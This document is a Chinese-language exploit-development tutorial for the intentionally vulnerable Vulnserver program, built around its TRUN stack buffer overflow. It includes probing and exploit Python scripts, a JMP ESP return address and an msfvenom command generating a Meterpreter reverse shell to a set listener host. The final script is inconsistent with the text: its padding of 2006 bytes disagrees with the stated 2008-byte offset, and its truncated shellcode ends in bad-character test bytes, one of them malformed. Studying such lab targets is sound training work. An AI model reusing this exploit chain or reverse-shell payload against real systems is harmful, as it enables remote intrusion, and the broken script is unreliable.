Vulnserver.exe漏洞分析及利用
字数 1146 2025-08-20 18:17:07
Vulnserver.exe漏洞分析及利用教学文档
一、环境准备与初步探测
1. 目标程序概述
- Vulnserver是一个存在漏洞的Windows服务程序
- 默认运行在TCP 9999端口
- 提供多个命令功能,其中TRUN命令存在缓冲区溢出漏洞
2. 调试工具准备
- IDA Pro:用于静态分析程序结构
- WinDbg:用于动态调试程序执行
- Python:用于编写漏洞利用脚本
3. 初始探测脚本
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 9999
size = 10
inputBuffer = b"\\x41" * size
buf = inputBuffer
print("Sending evil buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(buf)
s.close()
print("Done!")
except socket.error:
print("Could not connect!")
二、程序功能分析
1. 网络通信分析
- 程序使用WS2_32.dll进行网络通信
- 关键函数调用流程:
- recv接收数据
- 处理接收到的数据
- 根据命令执行不同功能
2. 命令处理结构
- 程序使用strncmp比较输入命令
- 命令格式要求严格(如"HELP "需要包含空格)
- 主要命令包括:HELP、TRUN等
3. TRUN命令分析
- 命令格式:"TRUN ."后跟数据
- 处理流程:
- malloc分配3000字节缓冲区
- memset初始化缓冲区
- 检查输入数据长度
- 比较数据中是否包含"."字符
- 调用Function3处理数据
三、漏洞定位与分析
1. 漏洞位置
- Function3函数中存在strcpy缓冲区溢出漏洞
- strcpy函数特性:
- 不检查目标缓冲区大小
- 会一直复制直到遇到NULL字节
- 导致可以覆盖堆栈上的返回地址
2. 漏洞验证
- 发送超长TRUN命令数据:
inputBuffer = b"TRUN ." + b"\\x41" * 2008 + b"BBBB"
- 观察WinDbg中返回地址被覆盖为0x42424242
3. 偏移量计算
- 在strcpy处下断点
- 使用
!teb确认目标地址在堆栈范围内 - 计算返回地址与目标缓冲区的偏移:
- 返回地址:0x0308f1e8
- 缓冲区地址:0x0308e9e0
- 偏移量:0x0308f1e8 - 0x0308e9e0 = 2008字节
四、漏洞利用开发
1. 坏字符检测
- 发送包含所有可能字符的测试数据:
badchars = (
b"\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10"
# ... 省略完整列表 ...
b"\\xf1\\xf2\\x3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb\\xfc\\xfd\\xfe\\xff"
)
- 确认无坏字符(NULL字节0x00除外)
2. JMP ESP指令查找
- 使用WinDbg查找可用的JMP ESP指令:
!py mona jmp -r esp - 找到地址:0x625011af(需转换为小端格式"\xaf\x11\x50\x62")
3. Shellcode生成
- 使用msfvenom生成反向shell payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.199 LPORT=443 -f c -e x86/shikata_ga_nai -b "\\x00" -f python -v shellcode - 添加NOP雪橇保证执行稳定性
五、完整利用脚本
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 9999
size = 2006
# NOP sled + shellcode
shellcode = b"\\x90" * 20
shellcode += b"\\xda\\xd6\\xbe\\x8a\\xc0\\x3b\\xdd\\xd9\\x74\\x24\\xf4"
shellcode += b"\\x5b\\x2b\\xc9\\xb1\\x59\\x31\\x73\\x19\\x83\\xc3\\x04"
# ... 省略完整shellcode ...
shellcode += b"\\xf1\\xf2\\x3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb"
# 构造完整payload
inputBuffer = b"TRUN ." + b"\\x41" * size + b"\\xaf\\x11\\x50\\x62" + shellcode
buf = inputBuffer
print("Sending evil buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(buf)
s.close()
print("Done!")
except socket.error:
print("Could not connect!")
六、防御建议
- 使用安全的字符串函数(如strncpy替代strcpy)
- 实现输入长度检查
- 启用堆栈保护机制(如GS、DEP)
- 使用地址空间布局随机化(ASLR)
- 进行严格的输入验证
七、扩展学习
- 其他命令的漏洞分析(如GMON、KSTET等)
- SEH覆盖利用技术
- ROP链构造技术
- 现代缓解措施的绕过技术
通过本教程,您应该掌握了从程序分析、漏洞定位到完整利用开发的完整流程,以及相关的调试技术和工具使用方法。